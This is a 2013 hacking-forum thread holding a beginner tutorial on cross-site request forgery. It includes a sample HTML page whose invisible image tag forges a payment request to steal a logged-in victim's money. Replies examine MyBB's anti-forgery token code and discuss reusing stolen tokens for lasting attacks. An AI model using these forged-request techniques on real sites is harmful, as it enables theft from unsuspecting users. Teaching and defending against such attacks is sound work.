Tutorial A beginner's guide to XSRF

Cosmic · 10-11-2013, 07:12 AM

Rogue: XSRF

Hello, and welcome, to my tutorial. In this guide, we'll be covering the basics of Cross site request forgery, a less commonly found method.

Introduction

XSRF (or "Cross site request forgery") is an attack that takes advantage of cookies. Cookies are small files left in your browser. Cookies are generally used to track user logins and other data.

For example.

When I input my user and pass into SL, the server is sent the information, the information is confirmed, I am logged in and a cookie is left. The cookie tells the server to keep me logged in, ensuring that I:

A) Don't have to relog on every page I visit
B) Am always logged in under the user "Rogue"

An issue with cookies, is that some sites don't clear cookies after a certain amount of time. This is a vulnerability, and how to exploit it will be demonstrated below.

Method

For this example, let's pretend I've sent Oni an email. In the email is a link to my website. Oni opens the site, sees the plaintext "I love cats", and a failed image load. He closes the page and gets on with his day.

But what Oni doesn't know, is that the cookie he left on his payment processor was not cleared, and my site executed malicious code that allowed me to steal his money!

How is this done, Rogue? I hear you ask. Let's take a look at the page source.

Code:
<!DOCTYPE html>
<html>
<body>

<h1>Cats</h1>

<p>They're cool!</p>


<img src=”http://www.bigkeshmoney.com/account/pay.php?user=rogue%22&amount=99999999 width=”0” height=”0”>

</body>
</html>

If you examine the code, in the image tags is a link. This link is not an image. When the server reads this code, it attempts to load the "invisible" image (note the width & height tags) and sends a request to that link. With Oni's account still logged in, the action is executed: and I receive all his kesh.

Thanks for reading! Drop questions below Smile

Reiko · 10-11-2013, 07:16 AM

A good concise beginners' tutorial. Needs to be followed up with a more in-depth one, though.
By the way, I'm a rather picky person when it comes to tutorial quality and I don't think I could find anything wrong with this one.

Cosmic · 10-11-2013, 07:19 AM

(10-11-2013, 07:16 AM)Starfall Wrote: A good concise beginners' tutorial. Needs to be followed up with a more in-depth one, though.
By the way, I'm a rather picky person when it comes to tutorial quality and I don't think I could find anything wrong with this one.

I'm planning on writing a more in depth one that focuses more on prevention. Executing the attack is relatively easy, but the prevention (encryption token patterns, referrer headers etc) is actually pretty hard to understand on a beginner level.

Thank you for the kind words Smile

Reiko · 10-11-2013, 07:26 AM

(10-11-2013, 07:19 AM)Cosmic Wrote: I'm planning on writing a more in depth one that focuses more on prevention. Executing the attack is relatively easy, but the prevention (encryption token patterns, referrer headers etc) is actually pretty hard to understand on a beginner level.

Thank you for the kind words

You're welcome.
On the subject of anti-XSRF tokens I actually took a look at MyBB's implementation and found a bit of an interesting thing.

PHP Code:
/* functions.php, line nums provided */
function generate_post_check()
{
    global $mybb, $session;
    if($mybb->user['uid'])
    {
        return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate']);
    }
    // Guests get a special string
    else
    {
        return md5($session->useragent.$mybb->config['database']['username'].$mybb->settings['internal']['encryption_key']);
    }
} 

If I'm not mistaken, loginkey, salt and regdate never change, so if you can get someone's postcode once, you have it forever.

Lain · 10-11-2013, 09:28 AM

(10-11-2013, 07:26 AM)Starfall Wrote: You're welcome.
On the subject of anti-XSRF tokens I actually took a look at MyBB's implementation and found a bit of an interesting thing.

PHP Code:
/* functions.php, line nums provided */ 479 function generate_post_check() 480 { 481 global $mybb, $session; 482 if($mybb->user['uid']) 483 { 484 return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate']); 485 } 486 // Guests get a special string 487 else 488 { 489 return md5($session->useragent.$mybb->config['database']['username'].$mybb->settings['internal']['encryption_key']); 490 } 491 }
If I'm not mistaken, loginkey, salt and regdate never change, so if you can get someone's postcode once, you have it forever.

I read somewhere that it was possible to steal the postcodes by using a method similar to XSRF.

Cosmic · 10-11-2013, 10:44 AM

(10-11-2013, 07:26 AM)Starfall Wrote: You're welcome.
On the subject of anti-XSRF tokens I actually took a look at MyBB's implementation and found a bit of an interesting thing.

Spoiler:

PHP Code:
/* functions.php, line nums provided */ 479 function generate_post_check() 480 { 481 global $mybb, $session; 482 if($mybb->user['uid']) 483 { 484 return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate']); 485 } 486 // Guests get a special string 487 else 488 { 489 return md5($session->useragent.$mybb->config['database']['username'].$mybb->settings['internal']['encryption_key']); 490 } 491 }
If I'm not mistaken, loginkey, salt and regdate never change, so if you can get someone's postcode once, you have it forever.

So, in theory, I could pull someone's post and use it to create an XSRF that I wouldn't continuously have to have the victim execute?

Damn, this sounds like a project.

DarkFlux™ · 10-22-2013, 05:31 PM

nice tutorial . very helpful Smile

.